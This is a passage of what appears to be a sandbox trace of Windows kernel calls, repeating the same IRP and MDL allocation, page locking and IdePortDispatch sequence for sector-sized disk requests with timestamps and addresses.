| out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.914] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.914] IdePortDispatch () returned 0x103 [0095.914] KeWaitForMutexObject () returned 0x0 [0095.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.914] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.914] IdePortDispatch () returned 0x103 [0095.914] KeWaitForMutexObject () returned 0x0 [0095.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.914] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.914] IdePortDispatch () returned 0x103 [0095.914] KeWaitForMutexObject () returned 0x0 [0095.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.914] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.914] IdePortDispatch () returned 0x103 [0095.914] KeWaitForMutexObject () returned 0x0 [0095.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.915] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.915] IdePortDispatch () returned 0x103 [0095.915] KeWaitForMutexObject () returned 0x0 [0095.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.915] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.915] IdePortDispatch () returned 0x103 [0095.915] KeWaitForMutexObject () returned 0x0 [0095.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.915] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.915] IdePortDispatch () returned 0x103 [0095.915] KeWaitForMutexObject () returned 0x0 [0095.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.916] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.916] IdePortDispatch () returned 0x103 [0095.916] KeWaitForMutexObject () returned 0x0 [0095.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.916] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.916] IdePortDispatch () returned 0x103 [0095.916] KeWaitForMutexObject () returned 0x0 [0095.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.916] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.916] IdePortDispatch () returned 0x103 [0095.916] KeWaitForMutexObject () returned 0x0 [0095.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.916] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.916] IdePortDispatch () returned 0x103 [0095.917] KeWaitForMutexObject () returned 0x0 [0095.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.917] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.917] IdePortDispatch () returned 0x103 [0095.917] KeWaitForMutexObject () returned 0x0 [0095.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.917] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.917] IdePortDispatch () returned 0x103 [0095.917] KeWaitForMutexObject () returned 0x0 [0095.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.917] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.917] IdePortDispatch () returned 0x103 [0095.917] KeWaitForMutexObject () returned 0x0 [0095.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.918] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.918] IdePortDispatch () returned 0x103 [0095.918] KeWaitForMutexObject () returned 0x0 [0095.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.918] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.918] IdePortDispatch () returned 0x103 [0095.918] KeWaitForMutexObject () returned 0x0 [0095.918] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.918] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.918] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.918] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.918] IdePortDispatch () returned 0x103 [0095.918] KeWaitForMutexObject () returned 0x0 [0095.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.919] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.919] IdePortDispatch () returned 0x103 [0095.919] KeWaitForMutexObject () returned 0x0 [0095.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.919] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.919] IdePortDispatch () returned 0x103 [0095.919] KeWaitForMutexObject () returned 0x0 [0095.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.919] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.919] IdePortDispatch () returned 0x103 [0095.919] KeWaitForMutexObject () returned 0x0 [0095.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.920] IdePortDispatch () returned 0x103 [0095.920] KeWaitForMutexObject () returned 0x0 [0095.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.920] IdePortDispatch () returned 0x103 [0095.920] KeWaitForMutexObject () returned 0x0 [0095.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.920] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.920] IdePortDispatch () returned 0x103 [0095.920] KeWaitForMutexObject () returned 0x0 [0095.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.921] IdePortDispatch () returned 0x103 [0095.921] KeWaitForMutexObject () returned 0x0 [0095.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.921] IdePortDispatch () returned 0x103 [0095.921] KeWaitForMutexObject () returned 0x0 [0095.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.921] IdePortDispatch () returned 0x103 [0095.921] KeWaitForMutexObject () returned 0x0 [0095.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.921] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.921] IdePortDispatch () returned 0x103 [0095.922] KeWaitForMutexObject () returned 0x0 [0095.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.922] IdePortDispatch () returned 0x103 [0095.922] KeWaitForMutexObject () returned 0x0 [0095.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.922] IdePortDispatch () returned 0x103 [0095.922] KeWaitForMutexObject () returned 0x0 [0095.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.922] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.922] IdePortDispatch () returned 0x103 [0095.923] KeWaitForMutexObject () returned 0x0 [0095.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.923] IdePortDispatch () returned 0x103 [0095.923] KeWaitForMutexObject () returned 0x0 [0095.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.923] IdePortDispatch () returned 0x103 [0095.923] KeWaitForMutexObject () returned 0x0 [0095.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.923] IdePortDispatch () returned 0x103 [0095.923] KeWaitForMutexObject () returned 0x0 [0095.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.923] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.923] IdePortDispatch () returned 0x103 [0095.924] KeWaitForMutexObject () returned 0x0 [0095.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.924] IdePortDispatch () returned 0x103 [0095.924] KeWaitForMutexObject () returned 0x0 [0095.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.924] IdePortDispatch () returned 0x103 [0095.924] KeWaitForMutexObject () returned 0x0 [0095.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.924] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.924] IdePortDispatch () returned 0x103 [0095.924] KeWaitForMutexObject () returned 0x0 [0095.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.925] IdePortDispatch () returned 0x103 [0095.925] KeWaitForMutexObject () returned 0x0 [0095.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.925] IdePortDispatch () returned 0x103 [0095.925] KeWaitForMutexObject () returned 0x0 [0095.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.925] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.925] IdePortDispatch () returned 0x103 [0095.926] KeWaitForMutexObject () returned 0x0 [0095.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 